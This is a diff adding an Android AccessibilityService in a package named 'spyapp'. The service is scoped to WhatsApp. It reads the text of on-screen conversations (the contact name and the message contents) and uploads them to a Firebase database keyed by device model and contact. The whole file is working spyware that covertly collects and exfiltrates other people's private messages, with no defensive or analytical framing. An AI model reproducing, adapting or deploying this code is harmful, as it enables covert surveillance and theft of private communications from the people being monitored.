1+ package in .spyapp .patanjali .android ;
2+
3+ import android .accessibilityservice .AccessibilityService ;
4+ import android .accessibilityservice .AccessibilityServiceInfo ;
5+ import android .os .Build ;
6+ import android .util .Log ;
7+ import android .view .accessibility .AccessibilityEvent ;
8+ import android .view .accessibility .AccessibilityNodeInfo ;
9+
10+ import com .google .firebase .database .DatabaseReference ;
11+ import com .google .firebase .database .FirebaseDatabase ;
12+
13+ import org .json .JSONArray ;
14+
15+ import java .util .ArrayList ;
16+ import java .util .HashMap ;
17+
18+ public class AccessService extends AccessibilityService {
19+
20+ private HashMap <String , ArrayList <String >> conv ;
21+
22+
23+
24+ boolean saveOn = false ;
25+ ArrayList <String > t ;
26+
27+ public void processChild (AccessibilityNodeInfo source )
28+ {
29+ if (source == null )
30+ {
31+ // Log.d("return", "for null");
32+ return ;
33+ }
34+ // Log.d("source in str", source.toString());
35+ Integer currentChild = source .getChildCount ();
36+ if (currentChild >0 )
37+ {
38+ for (Integer i =0 ; i <currentChild ; i ++)
39+ {
40+ processChild (source .getChild (i ));
41+ }
42+ } else
43+ {
44+ if (source .getClassName ().equals ("android.widget.TextView" ) && source .getText ()!=null && !source .getText ().toString ().isEmpty ()) {
45+ try {
46+ Log .d ("Notable Text" , "" + source .getText ());
47+ t .add ("" +source .getText ());
48+ } catch (Exception e ) {
49+ e .printStackTrace ();
50+ }
51+ }
52+
53+ if (source .getClassName ().equals ("android.widget.EditText" ) && source .getText ()!=null && !source .getText ().toString ().isEmpty ()) {
54+ try {
55+ Log .d ("Notable Text THIS FINAL" , "" + source .getText ());
56+ saveOn = true ;
57+ } catch (Exception e ) {
58+ e .printStackTrace ();
59+ }
60+ }
61+ }
62+ }
63+
64+
65+ public static String getDeviceName () {
66+ String manufacturer = Build .MANUFACTURER ;
67+ String model = Build .MODEL ;
68+ return model ;
69+ }
70+
71+
72+
73+ @ Override
74+ public void onAccessibilityEvent (AccessibilityEvent accessibilityEvent ) {
75+ //Log.d("access","got it");
76+ try {
77+
78+ t = new ArrayList <String >();
79+ saveOn = false ;
80+
81+ AccessibilityNodeInfo source = accessibilityEvent .getSource ();
82+ if (source == null ) {
83+ Log .d ("return" , "for null" );
84+ return ;
85+ }
86+
87+
88+
89+ Log .d ("Source Count" , String .valueOf (source .getChildCount ()));
90+ /*
91+ if (source.getClassName().equals("android.widget.TextView") && source.getText()!=null && !source.getText().toString().isEmpty())
92+ {
93+ // here level is iteration of for loop
94+ Log.d("Notable Text", ""+source.getText());
95+ }
96+ */
97+ processChild (source );
98+
99+ if (saveOn == true )
100+ {
101+ if (t .size ()>0 )
102+ {
103+
104+
105+ String person = new String ();
106+ person = t .get (0 );
107+ t .remove (0 );
108+ String lastMessage = t .get (t .size ()-1 );
109+ ArrayList <String > messagesToSave = new ArrayList <>();
110+
111+ if (conv .containsKey (person )) {
112+ ArrayList <String > messages = conv .get (person );
113+ String lastMessageSaved = messages .get (messages .size ()-1 );
114+
115+ boolean startSaving = false ;
116+
117+ for (Integer k =0 ; k <t .size (); k ++)
118+ {
119+ if (t .get (k ) == null )
120+ continue ;;
121+
122+ Log .d ("current Processing" , t .get (k ));
123+
124+ if (startSaving == true )
125+ {
126+ messagesToSave .add (t .get (k ));
127+ Log .d ("start" , "saving" );
128+ }
129+ if (lastMessageSaved .equals (t .get (k )))
130+ {
131+ startSaving = true ;
132+ }
133+ }
134+ messages .addAll (messagesToSave );
135+ }
136+ else
137+ {
138+
139+ for (Integer k =0 ; k <t .size (); k ++)
140+ {
141+ if (t .get (k ) == null )
142+ continue ;;
143+
144+ messagesToSave .add (t .get (k ));
145+ }
146+ conv .put (person , messagesToSave );
147+ }
148+
149+
150+
151+ try {
152+
153+ FirebaseDatabase database = FirebaseDatabase .getInstance ();
154+ DatabaseReference myRef = database .getReference (getDeviceName () + " - " + person );
155+ myRef .push ().setValue (messagesToSave );
156+ }catch (Exception e )
157+ {
158+ e .printStackTrace ();
159+ }
160+
161+ JSONArray json = new JSONArray (conv .get (person ));
162+ Log .d ("Saving " +person , json .toString ());
163+ Log .d ("Log " ,"Saved" );
164+ } else
165+ {
166+ Log .d ("Log " ,"NeedNotS" );
167+ }
168+
169+ // Log.i("Event", accessibilityEvent.toString()+"");
170+ //Log.i("Source", source.toString());
171+
172+ }
173+
174+
175+ }catch (Exception e )
176+ {
177+ e .printStackTrace ();
178+ }
179+ }
180+
181+ @ Override
182+ public void onInterrupt () {
183+
184+ }
185+
186+ @ Override
187+ protected void onServiceConnected () {
188+ super .onServiceConnected ();
189+
190+ conv = new HashMap <>();
191+ AccessibilityServiceInfo info = new AccessibilityServiceInfo ();
192+ Log .d ("access" , "service connected" );
193+ // Set the type of events that this service wants to listen to. Others won't be passed to this service.
194+ // We are only considering windows state changed event.
195+ info .eventTypes = AccessibilityEvent .TYPE_WINDOWS_CHANGED | AccessibilityEvent .TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent .TYPE_WINDOW_CONTENT_CHANGED ;
196+ // If you only want this service to work with specific applications, set their package names here. Otherwise, when the service is activated, it will listen to events from all applications.
197+ info .packageNames = new String [] {"com.whatsapp" };
198+ // Set the type of feedback your service will provide. We are setting it to GENERIC.
199+ info .feedbackType = AccessibilityServiceInfo .FEEDBACK_GENERIC ;
200+ // Default services are invoked only if no package-specific ones are present for the type of AccessibilityEvent generated.
201+ // This is a general-purpose service, so we will set some flags
202+ info .flags = AccessibilityServiceInfo .DEFAULT ;
203+ info .flags = AccessibilityServiceInfo .FLAG_INCLUDE_NOT_IMPORTANT_VIEWS ; info .flags = AccessibilityServiceInfo .FLAG_REPORT_VIEW_IDS ;
204+ info .flags = AccessibilityServiceInfo .FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY ; info .flags = AccessibilityServiceInfo .FLAG_RETRIEVE_INTERACTIVE_WINDOWS ;
205+ // We are keeping the timeout to 0 as we don’t need any delay or to pause our accessibility events
206+ info .notificationTimeout = 0 ;
207+ this .setServiceInfo (info );
208+ }
209+ }
0 commit comments